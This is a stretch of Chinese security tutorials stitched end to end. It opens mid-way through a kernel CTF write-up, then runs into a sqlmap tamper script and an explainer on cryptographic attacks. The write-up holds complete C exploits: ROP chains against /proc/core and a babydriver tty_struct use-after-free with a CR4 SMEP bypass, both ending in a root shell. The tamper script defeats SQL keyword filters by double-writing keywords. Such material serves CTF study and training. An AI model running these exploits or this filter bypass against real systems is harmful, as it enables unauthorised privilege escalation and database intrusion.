+ 0x9cce0; return 1; } else { i = 0; } } } } return 0; } void leak_canary(int fd) { puts("[+] Leak Canary..."); ioctl(fd, SET_OFFSET, 0x40); ioctl(fd, CORE_READ, canary); //core_read+105 printf("[+] Canary: 0x%llx \n", canary[0]); } void get_shell() { if (getuid() == 0) { puts("[+] root shell."); system("/bin/sh"); } } void main() { unsigned long long int pop_rdi, pop_rsi, pop_rdx, pop_rcx, mov_rdi_rax, swapgs, iretq, xchg_rax_rdx, offset; unsigned long long int rop[0x60]; int i = 8; int fd = open("/proc/core", 'r'); if (fd <= 0) { puts("[-] open filename 'core' ERROR."); exit(0); } save_status(); leak_addr(); leak_canary(fd); offset = vmlinux_base - raw_vmlinux_base; pop_rdi = offset + 0xffffffff81000b2f; pop_rsi = offset + 0xffffffff810011d6; pop_rdx = offset + 0xffffffff810a0f49; pop_rcx = offset + 0xffffffff81021e53; swapgs = offset + 0xffffffff81a012da; iretq = offset + 0xffffffff81050ac2; xchg_rax_rdx = offset + 0xffffffff826684f0; // xchg rax, rdx; ret; mov_rdi_rax = offset + 0xffffffff8106a6d2; printf("0x%llx\n", offset); rop[i++] = canary[0]; rop[i++] = 0; rop[i++] = (unsigned long long int)beroot; rop[i++] = swapgs; rop[i++] = 0; rop[i++] = iretq; rop[i++] = (unsigned long long int)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, sizeof(rop)); ioctl(fd, CORE_COPY_FUNC, 0xffffffffffff0000|0x100); } 四、bypass_smep原理介绍 ret2usr利用最根本的原因是因为内核态可以任意访问用户态的数据,从而造成了被利用的风险。而SMEP对于ret2usr正如NX与Shellcode一样有效的降低了被利用的风险。 SMEP(Supervisormode execution protection,SMEP)机制的作用是,当进程在内核模式下运行时,该防御机制会将页表中的所有用户空间的内存页标记为不可执行的。在内核中,这个功能可以通过设置控制寄存器CR4的第20位来启用。在启动时,可以通过在-cpu选项下加入+smep来启用该防御机制,通过在-append选项下加入nosmep来禁用该机制。 由于SMEP保护使得内核空间无法访问用 而CR4寄存器我们是可以通过gadget来对里面的值进行修改的,为了关闭SMEP常用的固定值0x6f0,即mov CR4, 0x6f0。 五、bypass_smep例题讲解 同样是前面文章所提到过的2017-CISCN-babydriver,在前面的学习中我们利用Kernel UAF的方式完成了提权操作,而本次我们所要学习的就是劫持程序流关闭SMEP保护以后,利用前面所学习的ret2usr完成提权操作并获取rootshell。 在分析利用思路之前,我们需要引入一个新的结构体tty_struct。这是一个在打开/dev/ptmx设备时会分配的结构体,源码如下所示。 struct tty_struct {   int magic;   struct kref kref;   struct device *dev;   struct tty_driver *driver;   const struct tty_operations *ops;   int index;   /* Protects ldisc changes: Lock tty not pty */   struct ld_semaphore ldisc_sem;   struct tty_ldisc *ldisc;   struct mutex atomic_write_lock;   struct mutex legacy_mutex;   struct mutex throttle_mutex;   struct rw_semaphore termios_rwsem;   struct mutex winsize_mutex;   spinlock_t ctrl_lock;   spinlock_t flow_lock;   /* Termios values are protected by the termios rwsem */   struct ktermios termios, termios_locked;   struct termiox *termiox;   /* May be NULL for unsupported */   char name[64];   struct pid *pgrp;       /* Protected by ctrl lock */   struct pid *session;   unsigned long flags;   int count;   struct winsize winsize;     /* winsize_mutex */   unsigned long stopped:1,   /* flow_lock */             flow_stopped:1,             unused:BITS_PER_LONG - 2;   int hw_stopped;   unsigned long ctrl_status:8,   /* ctrl_lock */             packet:1,             unused_ctrl:BITS_PER_LONG - 9;   unsigned int receive_room; /* Bytes free for queue */   int flow_change;   struct tty_struct *link;   struct fasync_struct *fasync;   wait_queue_head_t write_wait;   wait_queue_head_t read_wait;   struct work_struct hangup_work;   void *disc_data;   void *driver_data;   spinlock_t files_lock;     /* protects tty_files list */   struct list_head tty_files; #define N_TTY_BUF_SIZE 4096   int closing;   unsigned char *write_buf;   int write_cnt;   /* If the tty has a pending do_SAK, queue it here - akpm */   struct work_struct SAK_work;   struct tty_port *port; } __randomize_layout; 而其中有一个非常有用的结构体tty_operations,其源码如下所示,不难看出其中含有大量的函数指针供我们使用。所以我们可以使用一种类似于FSOP中伪造vtable表的方式来伪造这个结构体使其可以控制内核程序流。 struct tty_operations {   struct tty_struct * (*lookup)(struct tty_driver *driver,           struct file *filp, int idx);   int (*install)(struct tty_driver *driver, struct tty_struct *tty);   void (*remove)(struct tty_driver *driver, struct tty_struct *tty);   int (*open)(struct tty_struct * tty, struct file * filp);   void (*close)(struct tty_struct * tty, struct file * filp);   void (*shutdown)(struct tty_struct *tty);   void (*cleanup)(struct tty_struct *tty);   int (*write)(struct tty_struct * tty,             const unsigned char *buf, int count);   int (*put_char)(struct tty_struct *tty, unsigned char ch);   void (*flush_chars)(struct tty_struct *tty);   int (*write_room)(struct tty_struct *tty);   int (*chars_in_buffer)(struct tty_struct *tty);   int (*ioctl)(struct tty_struct *tty,           unsigned int cmd, unsigned long arg);   long (*compat_ioctl)(struct tty_struct *tty,                 unsigned int cmd, unsigned long arg);   void (*set_termios)(struct tty_struct *tty, struct ktermios * old);   void (*throttle)(struct tty_struct * tty);   void (*unthrottle)(struct tty_struct * tty);   void (*stop)(struct tty_struct *tty);   void (*start)(struct tty_struct *tty);   void (*hangup)(struct tty_struct *tty);   int (*break_ctl)(struct tty_struct *tty, int state);   void (*flush_buffer)(struct tty_struct *tty);   void (*set_ldisc)(struct tty_struct *tty);   void (*wait_until_sent)(struct tty_struct *tty, int timeout);   void (*send_xchar)(struct tty_struct *tty, char ch);   int (*tiocmget)(struct tty_struct *tty);   int (*tiocmset)(struct tty_struct *tty,           unsigned int set, unsigned int clear);   int (*resize)(struct tty_struct *tty, struct winsize *ws);   int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);   int (*get_icount)(struct tty_struct *tty,               struct serial_icounter_struct *icount);   void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m); #ifdef CONFIG_CONSOLE_POLL   int (*poll_init)(struct tty_driver *driver, int line, char *options);   int (*poll_get_char)(struct tty_driver *driver, int line);   void (*poll_put_char)(struct tty_driver *driver, int line, char ch); #endif   int (*proc_show)(struct seq_file *, void *); } __randomize_layout; 那么具体应该怎么利用呢?首先我们需要注意到的就是在本题环境中tty_struct结构体占0x260字节大小,所以我们可以利用题目中存在的UAF漏洞泄露出结构体的部分内容并修改其中的tty_operations指向我们伪造的结构体fake_tty_ops并在其中布置好相应的ropchain即可完成最终的利用。 但是这样的话又会产生一个问题,我们伪造的tty_operations结构体中应该怎么布局才可以呢?我们不妨写一个简单的测试代码通过动调的方式来理解,具体的代码如下所示。 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void main() {   int fd1 = open("/dev/babydev", O_RDWR);   int fd2 = open("/dev/babydev", O_RDWR);   // UAF   ioctl(fd1, 0x10001, 0x2e0);   close(fd1);   // fake struct   size_t fake_tty_struct[32];   size_t fake_tty_ops[32];   fake_tty_ops[0] = 0xffffffffc0000130;   fake_tty_ops[1] = 0xffffffffc0000130;   fake_tty_ops[2] = 0xffffffffc0000130;   // fake_tty_ops[7] = mov_rsp_rax;   fake_tty_ops[7] = 0xffffffffc0000130;   // close smep --> ret2usr --> get root's shell   int fd_tty = open("/dev/ptmx", O_RDWR);   read(fd2, fake_tty_struct, 32);   fake_tty_struct[3] = (size_t)fake_tty_ops;   write(fd2, fake_tty_struct, 32);   write(fd_tty, "AMALLL", 6); } 然后我们将写好的demo静态编译完成后,使用gdb脚本调试,创建gdbint文件并写入如下内容,最后在qemu启动脚本中添加-s选项并另开shell窗口执行gdb -x gdbinit即可动调。 file vmlinux add-symbol-file babydriver.ko 0xffffffffc0000000 b babyread target remote :1234 continue 上面的demo中我们伪造了tty_operations结构体中write函数指针为babyread函数地址,并且通过动调我们可以发现rax寄存器正是我们所伪造的fake_tty_operations结构体的地址,那么如果我们将tty_operations结构体中write函数指针位置放置诸如 mov rsp ,rax; 一类的gadget,则可以劫持栈指针到我们的fake_tty_operations地址处,我们再在伪造的结构体开头布置上二次栈迁移的gadget控制rsp指向我们布置的ropchain上,那么就可以执行关闭SMEP的rop,然后我们就可以利用前面介绍的ret2usr rop进 EXP.C #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t user_cs, user_ss, user_rflags, user_sp; size_t commit_creds = 0xffffffff810a1420; size_t prepare_kernel_cred = 0xffffffff810a1810; size_t pop_rdi = 0xffffffff810d238d; size_t mov_cr4 = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; size_t swapgs = 0xffffffff81063694; // swapgs; pop rbp; ret; size_t iretq = 0xffffffff814e35ef; size_t pop_rax = 0xffffffff8100ce6e; size_t mov_rsp_rax = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret void save_status() {   __asm__("mov user_cs, cs;"           "mov user_ss, ss;"           "mov user_sp, rsp;"           "pushf;"           "pop user_rflags;"           );   puts("[*]status has been saved."); } void beroot() {   char* (*func1)(int) = (char* (*)(int))prepare_kernel_cred;   void (*func2)(char*) = (void (*)(char *))commit_creds;   (*func2)((*func1)(0)); } void getshell() {   if (getuid() == 0) {         puts("[+] root now.");       system("/bin/sh");   }else {       puts("[-] Get shell error.");       exit(0);   } } void main() {       save_status();   int fd1 = open("/dev/babydev", O_RDWR);   int fd2 = open("/dev/babydev", O_RDWR);   // UAF   ioctl(fd1, 0x10001, 0x2e0);   close(fd1);   // set ropchain   size_t rop[0x30] = {0};   int i = 0;   rop[i++] = pop_rdi;   rop[i++] = 0x6f0;   rop[i++] = mov_cr4;   rop[i++] = 0;   rop[i++] = (size_t)beroot;   rop[i++] = swapgs;   rop[i++] = 0;   rop[i++] = iretq;   rop[i++] = (size_t)getshell;   rop[i++] = user_cs;   rop[i++] = user_rflags;   rop[i++] = user_sp;   rop[i++] = user_ss;   // fake struct   size_t fake_tty_struct[32];   size_t fake_tty_ops[32];   fake_tty_ops[0] = pop_rax;   fake_tty_ops[1] = (size_t)rop;   fake_tty_ops[2] = mov_rsp_rax;   fake_tty_ops[7] = mov_rsp_rax;   // close smep --> ret2usr --> get root's shell   int fd_tty = open("/dev/ptmx", O_RDWR);   read(fd2, fake_tty_struct, 32);   fake_tty_struct[3] = (size_t)fake_tty_ops;   write(fd2, fake_tty_struct, 32);   write(fd_tty, "AMALLL", 6); } 六、总结 笔者分享的两种利用方式都不算困难,但是需要注意的是在编译exploit时请使用Ubuntu 16.04的环境,笔者尝试使用Ubuntu 20 与 18的环境编译exploit最终执行阶段都无法完成提权操作。同时在做Kernel题目的时候会明显的感觉自己的知识树储备不够,这里笔者推荐《操作系统真象还原》这本书,里面不管是案例还是讲解都非常有趣,相信你一定能从这本书中有所收获。
SQLMAP-Tamper之较为通用的双写绕过
前言 21年省决赛的SQLITE注入就是用的双写绕过,当时是手搓代码打的,这几天想起来了,寻思着写个tamper试试。 一开始以为很简单,后来才发现有很多要注意的点,折磨了挺久。 等弄完才明白为什么sqlmap没有自带双写的tamper,涉及的情况太多,需要根据具体过滤逻辑来写代码,没法做到统一。 思路 过滤代码很简单: blacklist = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRENT_ for n in blacklist:    regex = re.compile(n, re.IGNORECASE)    username = regex.sub("", username) 先拿个网上的代码举例, 核心代码为 for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) 其逻辑为:用正则进行搜索单词,类似: 当检测到payload中存在关键字,就将该关键字插入到原本关键字字符串的随机位置。 很常规的逻辑,但在这里有一些问题: 1.类似SELECT->SELSELECTECT,如果添加的位置不对,就可能新生成一个存在于黑名单的字样导致sqlmap误判。 2.混淆得不够彻底。代码中是以单词为单位,但过滤时会扩大面积。精简一下: keywords = ['OR','ORDER'] payload = 'ORDER' 混淆时:ORDER->OORRDER 过滤时:OORRDER->ORDER-> ''(为空) 那么,手动选某个关键字列表中比较特别的字样去统一混淆如何? 结论是可,但是费劲。首先需要先写个小脚本将关键字列表里的不纯粹的元素剔除。比如ORDER里含有OR,那么就需要将ORDER剔除。其次还得保证sqlmap的测试语句里不使用该字样,否则将导致误判。 整理一下上述思路,可以开始着手编写tamper了。 代码 写脚本之前先介绍下tamper模板 from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():    pass def tamper(payload, **kwargs):    return payload __priority__定义脚本优先级:LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST dependencies()则声明该函数的适用/不适用范围,可为空 tamper()则是主要函数,处理传入的payload并返回。 好,然后就是脚本的完整代码 #!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs):    """   优化的双写绕过,顺序插入并判断是否新组成过滤单词   比如SELECT,当插入位置为3时为SELSELECTECT,则会生成黑名单列表中另一个单词ELSE造成误判   在此进行相关判断以保证生成的字符不存在另一个敏感词。   主要应对:       blacklist = [...]       for n in blacklist:           regex = re.compile(n, re.IGNORECASE)           username = regex.sub("", username)   >>> tamper('select 1 or 2 ORDER')   'selorect 1 oorr 2 OorRDER'   """    keywords = ["ABORT", "ACTION", "ADD", "AFTER", "ALL", "ALTER", "ALWAYS", "ANALYZE", "AND", "AS", "IN", "ASC", "ATTACH", "AUTOINCREMENT", "BEFORE", "BEGIN", "BETWEEN", "CASCADE", "CASE", "CAST", "CHECK", "COLLATE", "COLUMN", "COMMIT", "CONFLICT", "CONSTRAINT", "CREATE", "CROSS", "CURRENT", "CURRE    retVal = payload    warnMsg = "当前关键字列表如下,请注意修改:\n"    warnMsg += "%s" % keywords    singleTimeWarnMessage(warnMsg)    if payload:        for key in reversed(keywords):            index = keywords.index(key)            num = 1            check = True            while check:                if num >= len(key):                    singleTimeWarnMessage('无法绕过双写关键字列表')                    exit()                check = False                repStr = "%s%s%s" % (key[:num], key, key[num:])                for t in keywords[:index]:                    if re.search(t, repStr) and not re.search(t, key):                        check = True                        break                num += 1            retVal = re.sub(key, repStr, retVal, flags=re.I)    return retVal for key in reversed(keywords):首先进入最外层的关键字循环,在这里使用逆序,混淆的时候先2后1,过滤的时候先1后2,就能很好的还原代码。 while num < len(key) and check:然后进入第二层循环。num为插入位置,比如ASC,能插入的地方有AS中间和SC中间,如果都插入了一遍还是检测到敏感词,说明再怎么双写都会被检测出来。 for t in keywords[:index]:第三层循环就是二次校验了,比如['A','ELSE','B','SELECT','C'],混淆的时候从后往前,如果插入的位置不好,SELECT->SELSELECTECT。这样从前面循环检测,检测到ELSE,则该位置不合法,重新插入。个人感觉从中间插入组成新敏感词的几率比较小,但仔细琢磨一下也没必要多加几行代码,于是就干脆用顺序了。 至于not re.search(t, key)是为了避免ORDER中存在OR而被误判位置不合法的情况。 使用的时候把keywords列表一替换,拿到sqlmap一打,结束! 有个比较无语的点是re.sub()函数的第四个参数才是flags。 写代码的时候习惯性的在第三个参数位置打上re.I,然后又因为int(re.I)为2,程序正常运行不报错,最大替换次数为2次。折磨了好长时间。   实验推荐   实验:SQL注入之绕过is_numeric过滤(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016072212515000001>>
密码学的安全性浅析2
分组密码   分组密码是一种对称密钥算法。它将明文分成多个等长的模块,使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成,其中典型的如AES和3DES作为美国政府核定的标准加密算法,应用领域从电子邮件加密到银行交易转帐,非常广泛。基本流程细节这里不展开,可以参考密码学相关教材,本文专注于分析其中与安全性有关的部分。    分组大小   分组密码有两个重要的特征:分组大小和密钥大小,其安全性也取决于这两个值,大多数分组密码的分组大小为64比特或128比特,比如DES的分组为64比特,AES的分组为128比特,这些都是2的n次幂,因为这可以让数据的存储、寻址、处理等操作更加方便。   但是各位有没有想过为什么是64、128,而不是256或者更小的32呢?   首先分组不能太大,我们应该让密文的长度和内存占用尽可能小。比如我们使用AES加密16比特信息时,需要将信息转换为128比特,然后对其处理得到128比特密文,很明显,分组越大,开销也越大。64比特、128比特对于大多数CPU的寄存器都可以方便操作。   同时分组不能太小,分组太小的话容易受到代码本攻击Codebook attack。代码本攻击是用16比特分组进行的:   1.首先得到对应于每个16比特明文分组的2^16个密文   2.然后建立代码本,即查找表,将每个密文分组映射到相应的明文分组   3.对未知的密文分组进行解密,查找表中对应的明文分组   如果使用的是16比特分组长度的密码,则攻击者建立的查找表只需要16x2^16=   2^20比特内存,即128kb;而如果使用的是分组长度为32比特,则内存需要16gb,这对于攻击者而言都是可行的;而如果要攻击64比特分组的密码,攻击者必须要有1ZB的内存,这是不可行的。   分组构造   我们知道,分组密码实际上是一个循环多轮的运算,轮本身是很弱的一系列运算,但是数量很多。而循环的构造主要有两种技术:代换-置换网络(Substitution-Permutation Network,SP-network或SPN))(AES采用)和Feistel方案(DES采用)   在分组密码中,我们会明确规定轮与轮之间是不相同的,这是为什么呢?因为如果相同的话,容易受到滑动攻击Slide attack。   滑动攻击中的攻击者找到两个明文-密文对(P1,C1)(P2,C2),设R是分组密码的轮函数,有P2=R(P1)。当轮函数相同时,两个明文之间的关系蕴含着对应的各自密文之间的关系即C2=R(C1),下图是轮数为3时的示意图     攻击者一旦知道一轮的输入和输出就有助于恢复出密钥。   我们一般可以通过使用不同的子密钥作为参数确保每轮的运算是不同的,从而防止滑动攻击。   AES   AES的全称是Advanced Encryption Standard,意思是高级加密标准。它的出现主要是为了取代DES加密算法的,因为我们都知道DES算法的密钥长度是56Bit,因此算法的理论安全强度是2的56次方。但二十世纪中后期正是计算机飞速发展的阶段,元器件制造工艺的进步使得计算机的处理能力越来越强,虽然出现了3DES的加密方法,但由于它的加密时间是DES算法的3倍多,64Bit的分组大小相对较小,所以还是不能满足人们对安全性的要求。于是1997年1月2号,美国国家标准技术研究所宣布希望征集高级加密标准,用以取代DES。AES也得到了全世界很多密码工作者的响应,先后有很多人提交了自   AES组成   AES每轮的四个步骤如下示意    图中所示的运算都是必要的,如果缺乏任一,AES都是不安全的,具体分析如下:   如果没有KeyExpansion,所有轮都会使用相同的密钥K,则容易受到滑动攻击;   如果没有AddRoundKey,加密将不依赖于密钥;这意味着,攻击者可以在没有密钥的情况下解密密文;   SubBytes引入了非线性操作,增加了密码强度,如果没有SubBytes,AES只是由线性函数构成的大系统,使用基础的高等代数知识就可以破解它。   如果没有ShiftRows,给定列中的更改就不会影响其他列,那么攻击者就可以为每列构造4个2^32个元素的查找表来攻破AES   如果没有MixColumns,字节的变化不会影响该状态的其他任何字节。那么对于选择明文攻击而言,只需存储16个查找表(每个表256字节)后就可以解密任何密文,因为这些表中保存着每个字节可能的加密值。   AES实现   虽然在上一节中我们看到有SubBytes(),ShiftRows(),MixColumns()等操作,但是实际中的AES实现代码并不会用这些函数,因为效率太低,AES通过会基于表实现。   AES基于表的实现实际上是利用查询硬编码在程序中并在执行时加载到内存中的表以及XOR运算替换SubBytes(),ShiftRows(),MixColumns()等操作,比如在openssl中其对应的C语言实现如下    但是基于查找表的实现容易受到基于时间的缓存攻击cache-timing attack,当程序读取或者写入缓存中的元素时存在时间变化上的差异,因为访问cache中的元素的相对位置不同则时间也不同,通过这种差异攻击者就可以知道程序访问了哪个元素,进而推测秘密。   操作模式   分组密码加密模式中最简单的就是ECB,ECB模式下的分组密码是不安全的,一个直观的示意如下所示    左侧为原始图像,右侧为使用AES以ECB模式加密后的结果,可以看到在加密后的图像上还是很容易看出企鹅,这本质上是因为原始图像中灰度阴影的所有分组都被加密到新图像中相同的新灰度阴影中。   而在CBC模式中也存在一定问题,CBC通常与固定IV一起使用,而不是使用随机IV,这会导致什么问题呢?设两个明文分组P1||P2在CBC模式下加密得到密文C1||C2;另外有明文分组P1||P2'使用相同的IV加密得到C1||C2'。其中P2与P2’是不同的分组,在得到的密文中,虽然C2和C2‘不同,但是C1是相同的,即危害在于,即使攻击者只拿到密文,但是攻击者仍然可以推测出两个明文的第一个分组是相同的。   中间相遇攻击   在分组密码领域,有两种必须知道的攻击方案,一种是已经介绍过的padding oracle attack,另一种是中间相遇攻击。 提到中间相遇攻击,不知道大家有没有想过一个问题,为什么DES进一步派生出3DES,而不是2DES呢?   因为通过中间相遇攻击,2DES的安全性依然相当于DES,分析如下   设有一个2DES算法C=E(K2,E(K1,P)),其中P为明文,K1,K2均为56比特的密钥。攻击示意如图    流程如下   1.首先构建有2^56项的E(K1,P)的密钥值表   2.对于K2的所有2^56个值,计算D(K2,C)并检查结果值是否出现在表的索引中   3.如果出现,则从表中取出对应的K1,并使用相应的P,C验证找到的K1,K2是否正确,再用它们加密P看是否能得到C,如果可以则说明攻击成功   可以看到,这种攻击方式只需要2x2^56次操作即可,远小于   2^112   而如果我们将这种攻击方式应用于3DES,可以推算出来,第三阶段需要计算K2,K3的所有2^112个值,这意味说3DES实际上只有112比特的安全性,尽管其密钥长度为168比特。   序列密码   序列密码也称为流密码(Stream Cipher),它是对称密码算法的一种。序列密码具有实现简单、便于硬件实施、加解密处理速度快、没有或只有有限的错误传播等特点,因此在实际应用中,特别是专用或机密机构中保持着优势,典型的应用领域包括无线通信、外交通信。    基于硬件   基于硬件的序列密码基本都离不开反馈移位寄存器FSR。    上图所示是一个n级反馈移位寄存器。   其中,a0,a1,…,an−1为初态。F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器LFSR,否则我们称其为非线性反馈移位寄存器NFSR。ai+n=F(ai,ai+1,...,ai+n−1)   FSR被无数序列密码使用,因为它非常简单而且容易理解,从上图可见,其包含由一些比特组成的数组以及一个更新的反馈函数F,FSR的状态存储在数组或寄存器中,每次更新就是使用F改变状态并产生一个输出比特。在使用FSR时,需要尽量避免使用短周期的,因为这样会使输出序列更容易预测。   LFSR中文为线性反馈移位寄存器,是具有线性反馈函数的FSR。在密码学中,线性性质意味着可预测性,也暗示着存在简单并容易理解的数学结构。在序列密码中使用LFSR并不安全,假设一个LFSR的长度为n,攻击者仅需要n比特输出就可以还原该寄存器的初始状态,由此可以反推之前的状态信息并得到之后的输出序列,这种攻击基于Berlekamp-Massey(BM)算法,其依赖于LFSR的数学结构去建立方程,求解方程即可。实际上攻击者即使不知道n,也可以通过穷举所有可能的长度进行攻击。   为了掩盖LFSR的线性性质,可以对LFSR的输出序列进行非线性过滤以得到非线性程度更高的密钥序列,称其为过滤生成器,如下所示    图中的g为非线性函数,如异或、逻辑与、逻辑或等。   不过这还是会受到其他复杂的攻击:   代数攻击Algebraic attack:当未知变量是LFSR的内部状态比特时,代数攻击可以求解以内部状态为未知变量的非线性方程   立方攻击Cube attacks:通过计算非线性方程的微商,使其方程的代数次数降到1次,进而得到线性方程组从而求解   快速相关攻击Fast correlation attacks:挖掘非线性过滤函数和线性函数的相似度来实施攻击   为了彻底解决这个问题可以使用NFSR,即非线性反馈移位寄存器,它使用了非线性函数,它的输出比特和状态比特之间的代数关系的复杂性更高,随着运行次数的增加,复杂性呈指数规模增长。   A5/1   基于硬件的序列密码中的一个代表算法就是A5/1,其被用于2G移动通信中,用于对语音通信加密.示意图如下    A5/1流密码使用三个LFSR。虽然我们前面说LFSR不安全,但是A5/1使用小技巧是它变得较为安全,它使用的3个LFSR并非每一时刻都输出,而是通过下面的钟控规则决定每个寄存器的停走:如果某个寄存器的钟控位(橙色)和另一个寄存器的钟控位相同或著三个寄存器的钟控位都相同,则对该寄存器作移位操作。   特别地,在2G通信中使用的A5/1算法有64比特密钥和22比特nonce,其中加密每一帧所用的nonce不同,针对A5/1的攻击旨在恢复算法的64比特的初始状态(即三个寄存器的长度之和19+22+23),然后通过算法的初始化原理恢复nonce和密钥。这种攻击属于已知明文攻击,因为攻击者需要知道部分明文以及对应的密文,这样通过异或运算可以得到部分密钥序列比特。针对A5/1的攻击主要有两类,分别是细致攻击subtle attack以及暴力攻击brutal attack.   subtle attack是挖掘算法内部的线性性质并利用它相对简单的钟控系统,攻击者需要猜测一些内部状态比特以确定其他状态比特,本质上就是遍历第一个和第二个寄存器的所有可能取值以及前11个时钟周期里第三个寄存器的钟控比特的所有可能取值,由此建立方程得到第三个寄存器的内部状态。伪码如下    brutal attack将算法看做是一个64比特输入(内部状态)到64比特(前64比特密钥序列)输出的黑盒,本质是通过消耗内存降低暴力攻击的成本:预算计算一个有2^64个元素的表,表中的元素是每个可能的密钥和其对应的输出。在攻击时,根据输出,通过查表就可以得到对应的密钥。   基于软件   RC4    在密码学中,RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法.RC4应用非常广泛,在WEP中,RC4用于加密802.11帧的有效负载,这些数据通过数据包的形式进行传输。在同一会话中交付的所有有效负载都使用相同的40比特或104比特的密钥,且在帧头有一个唯一的3字节的nonce编码。   这里的关键在于RC4不支持nonce,而在WEP中使用nonce会造成风险,其原因在于:   nonce的比特数太少,只有24比特,这意味着对于攻击者而言,即使每条消息都随机选择一个nonce,只需等到2^12包,就能找到两个用相同的nonce加密的包,他们有相同的密钥序列,攻击者可以用其去解密数据包;此外还有更严重的问题--nonce和密钥的结合方式有助于恢复密钥。WEP中的nonce是公开的,它的三个字节使攻击者能够在密钥编排方案的三次迭代后确定S的值,基于此密钥分析人员发现密码序列的第一个字节和密钥的第一个字节有很强的相关性,其导致的偏差可以被用于恢复密钥。   在实际场景中,这就会造成选择明文攻击。   在TLS中也使用过RC4,这时存在风险的原因是在于,RC4存在统计数据偏差:RC4生成的密钥序列的第二个字节是0的概率是1/128,而理想情况下应该是1/256;不仅如此,实际上,前256个字节都有偏差,之前就有研究人员发现,其中某字节为0的概率为1/256+c/256^2,c取值介于0.24到1.34.   通过这种缺陷去攻击TLS的过程也非常直观,只需要收集密文并寻找明文,攻击者需要收集很多密文,并且这些密文是同不同的密钥对相同的明文加密得到的。设攻击者拿到了同一明文P1加密得到的多组密文,现在要解密明文P1.前4个密文字节是这样的:    由于前面提到RC4存在统计偏差,密钥序列字节SK1i取值为0的可能性更大,所以对应的C1i等于P1的可能性更大。在给定C1i后,为了确定P1,只需计算每个字节值出现次数并返回出现次数最多的那个值,它就是P1.   哈希函数   散列函数(Hash function)又称散列算法、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。散列函数把消息或数据压缩成摘要,使得数据量变小,将数据的格式固定下来。该函数将数据打乱混合,重新创建一个叫做哈希值或散列值(hash values,hash codes,hash sums,或hashes)的指纹。其运行的示意图如下    生日攻击   我们知道哈希函数存在原像攻击和碰撞攻击。   给定任意哈希值H,原像是指满足Hash(M)=H的消息M,原像攻击指给定随机哈希值,攻击者可以找到原始消息,这一般也被称作第一原像攻击。   除此之外,还存在第二原像攻击,即给定消息M1时,攻击者能够找到另一条消息M2,其哈希值与M1的哈希值相同。   而碰撞攻击则是指攻击者可以找到具有相同哈希值的两条不同的消息。   碰撞攻击的本质是鸽巢原理:有n只鸽子和m个鸽洞,所有鸽子都住在鸽巢里,如果n>m,那么至少有二只鸽子必须住在同一鸽巢里。   可以说这是不可避免的,但是对于哈希函数而言,碰撞应该像原始消息一样难于找到。   通过上面的表述,我们可以看到第二原像攻击与碰撞攻击存在一定联系:   第二原像攻击定义为:   给定固定消息m1,找到另一个消息m2,使hash(m2)= hash(m1)。   碰撞攻击定义为:   找到两个任意不同的消息m1和m2,使hash(m1)= hash(m2)。   区别在于第二原像攻击是给定了m1的,而碰撞攻击没有。就攻击难度而言,前者更难。同时,我们也可以看出,任何具有抗碰撞性的哈希函数,也能够抵御第二原像攻击。   找到碰撞与找到原像要快,需要2^(n/2)次   而不是2^n次,这背后的原理我们称之为生日攻击。   生日攻击是一种密码学攻击手段,所利用的是概率论中生日问题的数学原理。这种攻击手段可用于滥用两个或多个集团之间的通信。此攻击依赖于在随机攻击中的高碰撞概率和固定置换次数(鸽巢原理)。   举个例子   设一位老师问一个有30名学生的班级(n = 30)每个人的生日在哪一天以确定是否有两个学生同一天生日(对应碰撞 )。从直觉角度考虑,机率看起来很小。若老师选择特定日期(例如9月16日),则至少有一名学生在那天出生的几率是1-(364/365)^30,约为7.9%。但是,与我们的直觉相反的是,至少一名学生和另外任意一名学生有着相同生日的几率大约为70.63%(n = 30时),即   1-365!(365-n)!x365^n   更简洁的结论就是,如果班级有23人,则其中有两个学生出生日期相同的概率为1/2。   知道生日攻击的原理后,我们看看对应的攻击方案:   朴素的生日攻击方案如下:   1.计算任意选择的2^(n/2)个消息的哈希,并将所有的消息-哈希对存下来   2.重排哈希值列表   3.搜索排序后的列表以查找具有相同哈希值的两个连续条目   可以看到,这种方法需要大量的内存,同时对大量元素进行排序会减慢搜索的速度。   研究人员在此基础上提出了低内存的攻击方案:Rho攻击(来自Pollard Rho算法),流程如下   1.给定具有n比特哈希值的哈希函数,选择一些随机哈希值H1,设H1'=H1   2.计算H2=Hash(H1),H2'=Hash(Hash(H1'))   3.迭代该过程并计算Hi+1=Hash(Hi),Hi+1'=Hash(Hash(Hi')),直到有一个i可以满足Hi+1=Hi+1'   对应的示意图如下    